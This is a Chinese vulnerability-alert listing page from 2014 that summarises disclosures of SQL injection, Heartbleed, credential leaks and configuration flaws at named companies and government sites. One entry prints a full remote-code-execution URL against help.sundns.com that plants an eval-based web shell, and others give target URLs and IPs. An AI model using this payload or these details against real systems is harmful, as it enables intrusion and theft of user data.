漏洞预警

• 安全检测(41)
• 技术文档(269)
• 火车头采集(13)
• 漏洞预警(1693)

漏洞预警

• [公开漏洞]华图教育某站svn导致的裤子脱落

  华图教育某站svn导致的裤子脱落 相关厂商： 华图教育漏洞作者：mayday纯真 提交时间：2014-04-18 17:44 公开时间：2014-06-02 17:45 漏洞类型：应用配置错误危害等级：高 自评Rank：10 漏洞状态：

  2014-06-12

• 阳光互联帮助中心任意代码执行漏洞下载

  http://help.sundns.com/help/index.php?page=${@print%28eval%28$_POST[c]%29%29}密码c

  2014-06-12

• [公开漏洞]如何从一个过期客户端中获得中通K8系统和中通中天核心系统管理权限

  如何从一个过期客户端中获得中通K8系统和中通中天核心系统管理权限 相关厂商： 中通速递漏洞作者：showonder 提交时间：2014-04-19 21:35 公开时间：2014-06-03 21:35 漏洞类型：重要敏感信息泄露危害等级

  2014-06-12

• 07073主站SQL注入漏洞导致管理密码被爆下载

  07073主站SQL注入漏洞导致管理密码被爆dede Nday查看友情链接 http://www.07073.com/plus/flink.php 发现被人利用，挂了好多被插密码dedecms密码前3后1之后尝试破解，有记录。修复方案：删掉

  2014-06-12

• [公开漏洞]优酷网某业务SQL注射

  优酷网某业务SQL注射 相关厂商： 优酷漏洞作者：卡卡 提交时间：2014-04-21 14:21 公开时间：2014-06-05 14:21 漏洞类型：SQL注射漏洞危害等级：高 自评Rank：20 漏洞状态： 厂商已经确认漏洞来源：h

  2014-06-12

• 人人网某站点存在sql注入漏洞下载

  人人网某站点存在sql注入漏洞存在mysql注入的站点：http://iweidu.renren.com/是个校园招聘团队。使用的是cmseasy老版本，存在注入漏洞。post提交：http://60.28.218.94/index.php

  2014-06-12

• [公开漏洞]微信某接口HeartBleed漏洞

  微信某接口HeartBleed漏洞 相关厂商： 腾讯漏洞作者：VYSE 提交时间：2014-04-21 13:05 公开时间：2014-06-05 13:05 漏洞类型：网络敏感信息泄漏危害等级：高 自评Rank：20 漏洞状态： 厂商已

  2014-06-12

• [公开漏洞]中国邮政某处设计不当可再次遍历百万用户信息

  中国邮政某处设计不当可再次遍历百万用户信息 相关厂商： 中国邮政集团公司信息技术局漏洞作者：魇 提交时间：2014-04-21 12:15 公开时间：2014-06-05 12:15 漏洞类型：设计缺陷/逻辑错误危害等级：高 自评Rank

  2014-06-12

• 华为IPTV运维不当导致系统重要敏感信息泄漏下载

  在网上找资料时，无意中发现一篇文档，里面有一个网址，并附了一个管理员用户名密码表。进行尝试，部分密码是正确的。登录上去看看吧，果然看到了一些用户信息。包括用户姓名、电话号码、身份证信息 等重要的客户信息。1、网上查资料，在百度文档发现一篇文

  2014-06-12

• 中华人民共和国教育部某站SQL注入漏洞下载

  中华人民共和国教育部某站SQL注入漏洞原来以为是某大学的，看到数据觉得不是了。http://202.4.130.200:81/ 高等学校实验室信息统计系统版权为 版权所有 (C) 2005－2015 中华人民共和国教育部POST /serv

  2014-06-12